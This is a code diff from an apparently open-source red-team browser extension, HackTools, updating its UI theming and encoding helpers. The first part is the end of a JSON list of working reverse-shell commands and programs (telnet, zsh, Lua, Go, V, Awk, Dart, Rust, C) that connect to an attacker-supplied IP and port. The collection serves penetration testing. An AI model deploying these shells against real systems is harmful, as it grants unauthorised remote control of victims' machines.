"command": "TF=$(mktemp -u);mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | {shell} 1>$TF", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "zsh", + "command": "zsh -c 'zmodload zsh/net/tcp && ztcp ${values.ip} ${values.port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Lua #1", + "command": "lua -e \"require('socket');require('os');t=socket.tcp();t:connect('${values.ip}','${values.port}');os.execute('{shell} -i <&3 >&3 2>&3');\"", + "tags": [ + "linux" + ] + }, + { + "name": "Lua #2", + "command": "lua5.1 -e 'local host, port = \"${values.ip}\", ${values.port} local socket = require(\"socket\") local tcp = socket.tcp() local io = require(\"io\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, \"r\") local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'", + "tags": [ + "linux", + "windows" + ] + }, + { + "name": "Golang", + "command": "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"${values.ip}:${values.port}\");cmd:=exec.Command(\"{shell}\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go", + "tags": [ + "linux", + "mac", + "windows" + ] + }, + { + "name": "Vlang", + "command": "echo 'import os' > /tmp/t.v && echo 'fn main() { os.system(\"nc -e {shell} ${values.ip} ${values.port} 0>&1\") }' >> /tmp/t.v && v run /tmp/t.v && rm /tmp/t.v", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Awk", + "command": "awk 'BEGIN {s = \"/inet/tcp/0/${values.ip}/${values.port}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null", + "tags": [ + "linux", + "mac" + ] + }, + { + "name": "Dart", + "command": "import 'dart:io';\nimport 'dart:convert';\n\nmain() {\n Socket.connect(\"${values.ip}\", ${values.port}).then((socket) {\n socket.listen((data) {\n Process.start('{shell}', []).then((Process process) {\n process.stdin.writeln(new String.fromCharCodes(data).trim());\n process.stdout\n .transform(utf8.decoder)\n .listen((output) { socket.write(output); });\n });\n },\n onDone: () {\n socket.destroy();\n });\n });\n}", + "tags": [ + "linux", + "mac", + "windows" + ] + }, + { + "name": "Rust", + "command": "use std::net::TcpStream;\nuse std::os::unix::io::{AsRawFd, FromRawFd};\nuse std::process::{Command, Stdio};\n\nfn main() {\n let s = TcpStream::connect(\"${values.ip}:${values.port}\").unwrap();\n let fd = s.as_raw_fd();\n Command::new(\"{shell}\")\n .arg(\"-i\")\n .stdin(unsafe { Stdio::from_raw_fd(fd) })\n .stdout(unsafe { Stdio::from_raw_fd(fd) })\n .stderr(unsafe { Stdio::from_raw_fd(fd) })\n .spawn()\n .unwrap()\n .wait()\n .unwrap();\n}", + "tags": [ + "linux", + "mac", + "windows" + ] + }, + { + "name": "C", + "command": "#include \n#include \n#include \n#include \n#include \n\n#define REMOTE_ADDR \"${values.ip}\"\n#define REMOTE_PORT ${values.port} \n\nint main(int argc, char *argv[])\n{\n struct sockaddr_in sa;\n int s;\n\n sa.sin_family = AF_INET;\n sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);\n sa.sin_port = htons(REMOTE_PORT);\n\n s = socket(AF_INET, SOCK_STREAM, 0);\n connect(s, (struct sockaddr *)&sa, sizeof(sa));\n dup2(s, 0);\n dup2(s, 1);\n dup2(s, 2);\n\n execve(\"{shell}\", 0, 0);\n return 0;\n}", + "tags": [ + "linux", + "mac", + "windows" + ] + } +] \ No newline at end of file diff --git a/src/assets/img/preview.gif b/src/assets/img/preview.gif index 804e98d..6d76f4f 100644 Binary files a/src/assets/img/preview.gif and b/src/assets/img/preview.gif differ diff --git a/src/components/AboutUs.tsx b/src/components/AboutUs.tsx index d09c348..d7485c0 100644 --- a/src/components/AboutUs.tsx +++ b/src/components/AboutUs.tsx @@ -1,12 +1,11 @@ import React from 'react'; import { Typography, Divider } from 'antd'; -import QueueAnim from 'rc-queue-anim'; const { Title, Paragraph, Link } = Typography; export default function AboutUs () { return ( - +
<Divider dashed /> <div - key='a' style={{ padding: 15, marginTop: 15 @@ -56,7 +54,6 @@ export default function AboutUs () { </div> <Divider dashed /> <div - key='b' style={{ padding: 15, marginTop: 15 @@ -89,6 +86,6 @@ export default function AboutUs () { <Paragraph> MITRE ATT&CK </Paragraph> <Paragraph> Thanks to dejisec for the Active Directory scripts ! <Link href='https://gist.github.com/dejisec/3477eff3258f1f43fc3c57de56295f34' target='_blank'>Link</Link> </Paragraph> </div> - </QueueAnim> + </div> ); } diff --git a/src/components/LayoutApp.tsx b/src/components/LayoutApp.tsx index 9af49cc..4c1678c 100644 --- a/src/components/LayoutApp.tsx +++ b/src/components/LayoutApp.tsx @@ -1,5 +1,5 @@ -import React, { useCallback, useEffect, useState } from 'react'; -import { Layout, Menu, Typography, Button, Badge, Select, } from 'antd'; +import React, { useEffect } from 'react'; +import { Layout, Menu, Typography, theme, Button, Select, ConfigProvider, Switch } from 'antd'; import { CopyrightCircleOutlined, FullscreenOutlined, ArrowsAltOutlined } from '@ant-design/icons'; import { createFromIconfontCN } from '@ant-design/icons'; import { goTo } from 'react-chrome-extension-router'; @@ -18,9 +18,8 @@ import FeedRSS from './rss/FeedRSS'; import FileTransfer from './file_transfer/File_transfer'; import PersistedState from 'use-persisted-state'; import MSFBuilder from './linux/MSFBuilder'; -import DynamicTheme from '../theming'; -import { themes } from '../themes'; import EchoBase64 from './file_transfer/ObfuscatedFiles'; +import Notepad from './notepad/Notepad'; const { Paragraph } = Typography; const { Sider, Content, Footer } = Layout; @@ -28,22 +27,19 @@ const IconFont = createFromIconfontCN( { scriptUrl: [ './iconfont.js' ] } ); -const defaultTheme = themes[ 0 ]; -const options = themes.map( ( theme ) => ( { - label: theme.displayName, - value: theme.id -} ) ); - export default function LayoutApp ( props: { - children: boolean | React.ReactChild | React.ReactFragment | React.ReactPortal | null | undefined; + children: boolean | React.ReactFragment | React.ReactPortal | null | undefined; } ) { - const useDefaultTheme = PersistedState<string>( 'default_colored_theme' ); - const [ themeId, setThemeId ] = useDefaultTheme( defaultTheme.id ); - const selectThemeId = useCallback( - ( option ) => setThemeId( option as string ), - [] - ); + const { defaultAlgorithm, darkAlgorithm } = theme; + const setDarkMode = PersistedState<boolean>( 'dark_mode' ); + const [ darkMode, setDarkModeState ] = setDarkMode( false ); + const handleSwtichTheme = ( value: string ) => { + // Set the dark mode state based on the selected value + // We can use the '===' operator because we know the value can only be 'dark' or 'light'. + const isDarkMode = value === 'dark'; + setDarkModeState( isDarkMode ); + } interface IRouterComponent { key: string; @@ -79,12 +75,7 @@ export default function LayoutApp ( props: { }, { key: '5', - icon: ( - <Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}> - <IconFont type='icon-powershell' style={{ fontSize: '1.5em', marginTop: 3 }} /> - </Badge> - ), - name: 'PowerShell Commands', + icon: <IconFont type='icon-powershell' style={{ fontSize: '1.5em', marginTop: 3 }} />, name: 'PowerShell Commands', componentRoute: PowershellCommands }, { @@ -107,11 +98,7 @@ export default function LayoutApp ( props: { }, { key: '9', - icon: ( - <Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}> - <IconFont type='icon-sql' style={{ fontSize: '1.5em', marginTop: 3 }} /> - </Badge> - ), + icon: <IconFont type='icon-sql' style={{ fontSize: '1.5em', marginTop: 3 }} />, name: 'SQL Injection', componentRoute: SQLi }, @@ -123,11 +110,7 @@ export default function LayoutApp ( props: { }, { key: '11', - icon: ( - <Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}> - <IconFont type='icon-Encode-File' style={{ fontSize: '1.5em', marginTop: 3 }} /> - </Badge> - ), + icon: <IconFont type='icon-Encode-File' style={{ fontSize: '1.5em', marginTop: 3 }} />, name: 'Obfuscated Files or Information', componentRoute: EchoBase64 }, @@ -186,7 +169,7 @@ export default function LayoutApp ( props: { const height = 800; chrome.windows.create( { - url: chrome.extension.getURL( 'index.html' ), + url: chrome.runtime.getURL( 'index.html' ), width: width, height: height, type: 'popup' @@ -199,63 +182,97 @@ export default function LayoutApp ( props: { }, [] ); const target = window.location.href; + + const handleHatClick = () => { + const notepad_route_ctx = { + key: '1', + name: 'Hat Clicked', + componentRoute: Notepad + } + + navigate( notepad_route_ctx ); + }; + return ( - <Layout style={{ minHeight: '100vh' }}> - <Sider - collapsed={true} - style={{ - overflow: 'auto', - height: '100vh', - position: 'fixed', - left: 0 - }} - > - <div className='logo'> - <svg xmlns='http://www.w3.org/2000/svg' width='45' height='35' viewBox='0 0 134.624 80.584'> - <g transform='translate(-6.457 -23.8)'> - <path - d='M138.715,62.377c-9.043-1.871-15.592.78-21.673,4.989l-5.616-26.958-2.18-10.463a1.432,1.432,0,0,0-.624-.936c-.312-.156-6.86-4.21-32.431-4.21s-34.458,4.678-34.77,4.834c-.468.312-.78.624-.78,1.091L36.9,57.543c-4.678,0-19.022.624-26.039,9.2C7.119,71.264,6.651,78.125,9.3,84.829c4.054,9.979,14.033,16.839,26.506,18.087a80.594,80.594,0,0,0,8.42.468c21.985,0,40.071-8.887,52.389-16.06,1.559-.468,11.538-3.274,24.635-8.42,14.812-5.769,18.554-14.033,18.71-14.5a2.163,2.163,0,0,0,0-1.4C139.495,62.689,139.183,62.377,138.715,62.377ZM43.448,32.128c2.495-1.091,11.694-4.21,32.743-4.21,20.581,0,28.377,2.651,30.248,3.43L111.585,56.3a165.118,165.118,0,0,1-40.851,8.887C51.088,66.9,41.733,63,39.238,61.6ZM95.058,84.517c-13.409,7.8-33.991,17.931-59.094,15.436-11.382-1.247-20.27-7.328-24.012-16.216-2.183-5.613-1.871-11.382,1.091-14.968,5.925-7.328,18.554-8.108,23.232-8.108L34.249,74.694a1.367,1.367,0,0,0,.78,1.559c9.979,6.081,21.049,8.264,31.5,8.264,16.216,0,31.34-5.145,40.7-9.043A85,85,0,0,1,95.058,84.517ZM120,75.942C114.236,78.125,109.091,80,104.881,81.4c2.183-1.715,4.054-3.43,6.081-5.145,7.172-6.237,13.1-11.382,21.829-11.382a19.881,19.881,0,0,1,2.962.156C134.038,67.522,129.516,72.356,120,75.942Z' - transform='translate(0 0)' - fill='#F0F2F5' - stroke='#F0F2F5' - strokeWidth='2' - /> - </g> - </svg> - </div> + <ConfigProvider + theme={{ + "token": { + "wireframe": true, + }, + algorithm: darkMode ? darkAlgorithm : defaultAlgorithm, + }} - <Menu theme='dark' defaultSelectedKeys={[ index ]} mode='inline'> - {MenuItemsLists} - </Menu> - </Sider> - <Layout className='site-layout' style={{ marginLeft: 80 }}> - <Content style={{ margin: '24px 16px 0', overflow: 'initial' }}> - <div className='site-layout-background' style={{ padding: 24, minHeight: 360 }}> - {props.children} + > + <Layout style={{ minHeight: '100vh' }}> + <Sider + collapsed={true} + style={{ + overflow: 'auto', + height: '100vh', + position: 'fixed', + left: 0 + }} + > + <div className='logo' onClick={handleHatClick}> + <svg xmlns='http://www.w3.org/2000/svg' width='45' height='35' viewBox='0 0 134.624 80.584'> + <g transform='translate(-6.457 -23.8)'> + <path + d='M138.715,62.377c-9.043-1.871-15.592.78-21.673,4.989l-5.616-26.958-2.18-10.463a1.432,1.432,0,0,0-.624-.936c-.312-.156-6.86-4.21-32.431-4.21s-34.458,4.678-34.77,4.834c-.468.312-.78.624-.78,1.091L36.9,57.543c-4.678,0-19.022.624-26.039,9.2C7.119,71.264,6.651,78.125,9.3,84.829c4.054,9.979,14.033,16.839,26.506,18.087a80.594,80.594,0,0,0,8.42.468c21.985,0,40.071-8.887,52.389-16.06,1.559-.468,11.538-3.274,24.635-8.42,14.812-5.769,18.554-14.033,18.71-14.5a2.163,2.163,0,0,0,0-1.4C139.495,62.689,139.183,62.377,138.715,62.377ZM43.448,32.128c2.495-1.091,11.694-4.21,32.743-4.21,20.581,0,28.377,2.651,30.248,3.43L111.585,56.3a165.118,165.118,0,0,1-40.851,8.887C51.088,66.9,41.733,63,39.238,61.6ZM95.058,84.517c-13.409,7.8-33.991,17.931-59.094,15.436-11.382-1.247-20.27-7.328-24.012-16.216-2.183-5.613-1.871-11.382,1.091-14.968,5.925-7.328,18.554-8.108,23.232-8.108L34.249,74.694a1.367,1.367,0,0,0,.78,1.559c9.979,6.081,21.049,8.264,31.5,8.264,16.216,0,31.34-5.145,40.7-9.043A85,85,0,0,1,95.058,84.517ZM120,75.942C114.236,78.125,109.091,80,104.881,81.4c2.183-1.715,4.054-3.43,6.081-5.145,7.172-6.237,13.1-11.382,21.829-11.382a19.881,19.881,0,0,1,2.962.156C134.038,67.522,129.516,72.356,120,75.942Z' + transform='translate(0 0)' + fill='#F0F2F5' + stroke='#F0F2F5' + strokeWidth='2' + /> + </g> + </svg> </div> - </Content> - <Footer style={{ textAlign: 'center' }}> - <CopyrightCircleOutlined /> Hack Tools - The all in one Red team browser extension for web - pentesters - <Paragraph style={{ textAlign: 'center' }}>Ludovic COULON - Riadh BOUCHAHOUA</Paragraph> - <pre style={{ textAlign: 'center' }}>HackTools Version - 0.4.0</pre> - <Button icon={<FullscreenOutlined style={{ margin: 5 }} />} type='link'> - <a href={target} rel='noreferrer noopener' target='_blank'> - Fullscreen mode - </a> - </Button> - <DynamicTheme themes={themes} value={themeId} /> - <Select - value={themeId} - style={{ minWidth: 200 }} - options={options} - onSelect={selectThemeId} - /> - <Button icon={<ArrowsAltOutlined style={{ margin: 5 }} />} onClick={() => windowMode()} type='link'> - Pop-up mode - </Button> - </Footer> - </Layout> - </Layout> + + <Menu theme='dark' defaultSelectedKeys={[ index ]} mode='inline'> + {MenuItemsLists} + </Menu> + </Sider> + <Layout className='site-layout' style={{ marginLeft: 80 }}> + <Content style={{ + margin: '24px 16px 0', + overflow: 'initial', + minHeight: 360, + padding: 14, + borderRadius: 8, + background: darkMode ? '#0f0f0f' : '#fff', + }}> + {props.children} + </Content> + <Footer style={{ textAlign: 'center' }}> + <CopyrightCircleOutlined /> Hack Tools - The all in one Red team browser extension for web + pentesters + <Paragraph style={{ textAlign: 'center' }}>Ludovic COULON - Riadh BOUCHAHOUA</Paragraph> + <pre style={{ textAlign: 'center' }}>HackTools Version - 0.5.0</pre> + <Button icon={<FullscreenOutlined style={{ margin: 5 }} />} type='link'> + <a href={target} rel='noreferrer noopener' target='_blank'> + Fullscreen mode + </a> + </Button> + <Select + defaultValue={darkMode ? 'dark' : 'light'} + style={{ width: 150 }} + onChange={handleSwtichTheme} + options={[ + { + value: 'light', + label: 'Light', + }, + { + value: 'dark', + label: 'Dark', + }, + ]} + /> + <Button icon={<ArrowsAltOutlined style={{ margin: 5 }} />} onClick={() => windowMode()} type='link'> + Pop-up mode + </Button> + </Footer> + </Layout> + </Layout > + </ConfigProvider > ); } diff --git a/src/components/encoding/DataEncoding.tsx b/src/components/encoding/DataEncoding.tsx index 5deb95e..f06a1f7 100644 --- a/src/components/encoding/DataEncoding.tsx +++ b/src/components/encoding/DataEncoding.tsx @@ -2,7 +2,6 @@ import React, { useState } from 'react'; import { Button, Input, Typography, message, Divider, Menu, Dropdown } from 'antd'; import { CopyOutlined, createFromIconfontCN, ClearOutlined, DownOutlined } from '@ant-design/icons'; import Clipboard from 'react-clipboard.js'; -import QueueAnim from 'rc-queue-anim'; import escape_quotes from 'escape-quotes'; const { Title, Paragraph } = Typography; @@ -11,15 +10,24 @@ const IconFont = createFromIconfontCN( { } ); function toHex ( str: string ) { - var result = ''; - for ( var i = 0; i < str.length; i++ ) { - result += str.charCodeAt( i ).toString( 16 ).toUpperCase(); + var result: string = ''; + for ( var i: number = 0; i < str.length; i++ ) { + var hex: string = str.charCodeAt( i ).toString( 16 ).toUpperCase(); + if ( hex.length === 1 ) { + hex = '0' + hex; + } + result += hex; } return result; } function hex2a ( hex: string ) { - var str = ''; - for ( var i = 0; i < hex.length; i += 2 ) str += String.fromCharCode( parseInt( hex.substr( i, 2 ), 16 ) ); + var str: string = ''; + for ( var i: number = 0; i < hex.length; i += 2 ) { + var code: number = parseInt( hex.substr( i, 2 ), 16 ); + if ( !isNaN( code ) ) { + str += String.fromCharCode( code ); + } + } return str; } @@ -34,45 +42,60 @@ const Base64Encode = () => { setInput( event.target.value ); }; const handleClick = ( type: string ) => { - if ( type === 'encode' && encMode === 'base64' ) { - setOutput( btoa( input ) ); - } else if ( type === 'decode' && encMode === 'base64' ) { - try { - setOutput( atob( input ) ); - } catch ( ex ) { - setOutput( 'Unable to decode properly : Incorrect base64 ' ); - message.error( 'Incorrect Base64 please try something else' ); - } - } else if ( type === 'decode' && encMode === 'uri' ) { - try { - setOutput( decodeURI( input ) ); - } catch ( ex ) { - setOutput( 'Unable to decode properly : Incorrect base64 ' ); - message.error( 'Incorrect Base64 please try something else' ); - } - } else if ( type === 'encode' && encMode === 'uri' ) { - try { - setOutput( encodeURI( input ) ); - } catch ( error ) { - setOutput( 'Unable to decode properly : Incorrect URI ' ); - message.error( 'Incorrect format please try something else' ); - } - } else if ( type === 'decode' && encMode === 'hex' ) { - try { - setOutput( hex2a( input ) ); - } catch ( ex ) { - setOutput( 'Unable to decode properly : Incorrect hexadecimal ' ); - message.error( 'Incorrect Hex please try something else' ); - } - } else if ( type === 'encode' && encMode === 'hex' ) { - try { - setOutput( toHex( input ) ); - } catch ( error ) { - setOutput( 'Unable to decode properly : Incorrect hexadecimal ' ); - message.error( 'Incorrect Hex please try something else' ); - } + let output; + let errorMessage; + switch ( type ) { + case "encode": + switch ( encMode ) { + case "base64": + output = btoa( input ); + break; + case "uri": + try { + output = encodeURI( input ); + } catch ( error ) { + errorMessage = "Incorrect format, please try something else."; + } + break; + case "hex": + try { + output = toHex( input ); + } catch ( error ) { + errorMessage = "Incorrect Hex, please try something else."; + } + break; + } + break; + case "decode": + switch ( encMode ) { + case "base64": + try { + output = atob( input ); + } catch ( ex ) { + errorMessage = "Incorrect Base64, please try something else."; + } + break; + case "uri": + try { + output = decodeURI( input ); + } catch ( ex ) { + errorMessage = "Incorrect URI, please try something else."; + } + break; + case "hex": + try { + output = hex2a( input ); + } catch ( ex ) { + errorMessage = "Incorrect hexadecimal, please try something else."; + } + break; + } + break; + } + setOutput( errorMessage ? "Unable to decode properly: " + errorMessage : output ); + if ( errorMessage ) { + message.error( errorMessage ); } - return; }; const [ encMode, setEncmode ] = useState( 'base64' ); const handleQuoteEscaper = () => { @@ -94,7 +117,7 @@ const Base64Encode = () => { ); return ( - <QueueAnim delay={300} duration={1500}> + <div> <div style={{ margin: 15 }}> <Title level={2} style={{ fontWeight: 'bold' }}> Data Encoding @@ -176,7 +199,7 @@ const Base64Encode = () => { <ClearOutlined /> Clear </Button> </div> - </QueueAnim> + </div> ); }; diff --git a/src/components/encoding/Hashing.tsx b/src/components/encoding/Hashing.tsx index ca25df8..ac8901f 100644 --- a/src/components/encoding/Hashing.tsx +++ b/src/components/encoding/Hashing.tsx @@ -8,7 +8,6 @@ import SHA512 from 'crypto-js/sha512'; //@ts-ignore import Sm3 from 'sm3'; import Clipboard from 'react-clipboard.js'; -import QueueAnim from 'rc-queue-anim'; const { Title, Paragraph, Text } = Typography; const { TextArea } = Input; @@ -26,17 +25,28 @@ const HashEncode = () => { resolvehashname( type.key ); }; const handleEncode = ( hashtype: string ) => { - if ( hashtype === 'MD5' ) { - setOutput( MD5( input, undefined ).toString() ); - } else if ( hashtype === 'SHA1' ) { - setOutput( SHA1( input, undefined ).toString() ); - } else if ( hashtype === 'SHA256' ) { - setOutput( SHA256( input, undefined ).toString() ); - } else if ( hashtype === 'SHA512' ) { - setOutput( SHA512( input, undefined ).toString() ); - } else if ( hashtype === 'SM3' ) { - setOutput( Sm3( input ) ); + let output: string; + switch ( hashtype ) { + case 'MD5': + output = MD5( input, undefined ).toString(); + break; + case 'SHA1': + output = SHA1( input, undefined ).toString(); + break; + case 'SHA256': + output = SHA256( input, undefined ).toString(); + break; + case 'SHA512': + output = SHA512( input, undefined ).toString(); + break; + case 'SM3': + output = Sm3( input ); + break; + default: + // If the hashtype is not recognized, return an empty string + output = ''; } + setOutput( output ); }; const successInfoHashing = () => { message.success( 'Your hash has been copied successfully !' ); @@ -88,7 +98,7 @@ const HashEncode = () => { }; return ( - <QueueAnim delay={300} duration={1500}> + <div> <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}> Hash generator @@ -124,7 +134,7 @@ const HashEncode = () => { style={{ cursor: 'auto', marginTop: 15, color: '#777' }} placeholder='The results will appear here' /> -
Cryptographic Hash Algorithm : {hashname}
+
Cryptographic Hash Algorithm : {hashname}
-
+ ); }; diff --git a/src/components/encoding/HexEncode.tsx b/src/components/encoding/HexEncode.tsx index 298b9a2..84ceb9e 100644 --- a/src/components/encoding/HexEncode.tsx +++ b/src/components/encoding/HexEncode.tsx @@ -2,121 +2,135 @@ import React, { useState } from 'react'; import { Button, Input, Typography, message, Divider } from 'antd'; import { CopyOutlined, createFromIconfontCN, ClearOutlined } from '@ant-design/icons'; import Clipboard from 'react-clipboard.js'; -import QueueAnim from 'rc-queue-anim'; const { Title, Paragraph } = Typography; -const IconFont = createFromIconfontCN({ - scriptUrl: [ './iconfont.js' ] -}); +const IconFont = createFromIconfontCN( { + scriptUrl: [ './iconfont.js' ] +} ); -function toHex(str: string) { - var result = ''; - for (var i = 0; i < str.length; i++) { - result += str.charCodeAt(i).toString(16).toUpperCase(); - } - return result; +function toHex ( str: string ): string { + let result = ""; + for ( const ch of str ) { + let hex = ch.charCodeAt( 0 ).toString( 16 ).toUpperCase(); + if ( hex.length < 2 ) { + hex = "0" + hex; + } + result += hex; + } + return result; } -function hex2a(hex: string) { - var str = ''; - for (var i = 0; i < hex.length; i += 2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); - return str; + +function hex2a ( hex: string ): string { + let str = ""; + for ( let i = 0; i < hex.length; i += 2 ) { + const hexChar = hex.substr( i, 2 ); + if ( hexChar.length < 2 ) { + throw new Error( "invalid hexadecimal" ); + } + const num = parseInt( hexChar, 16 ); + if ( num < 0 || num > 255 ) { + throw new Error( "invalid hexadecimal" ); + } + str += String.fromCharCode( num ); + } + return str; } const HexEncode = () => { - const [ input, setInput ] = useState(''); - const [ output, setOutput ] = useState(''); - const { TextArea } = Input; - const successBase64Copy = () => { - message.success('Your payload has been copied successfully !'); - }; - const handleChange = (_name: string) => (event: { target: { value: React.SetStateAction } }) => { - setInput(event.target.value); - }; - const handleClick = (type: string) => { - if (type === 'encode') { - setOutput(toHex(input)); - } else if (type === 'decode') { - try { - setOutput(hex2a(input)); - } catch (ex) { - setOutput('Unable to decode properly : Incorrect Hex :-( '); - message.error('Incorrect Base64 please try something else'); - } - } - return; - }; - return ( - -
- - Hexadecimal Encoder / Decoder - - - The hexadecimal numeral system, often shortened to "hex", is a numeral system made up of 16 symbols - (base 16). The standard numeral system is called decimal (base 10) and uses ten symbols: - 0,1,2,3,4,5,6,7,8,9. Hexadecimal uses the decimal numbers and six extra symbols. - -
- -
-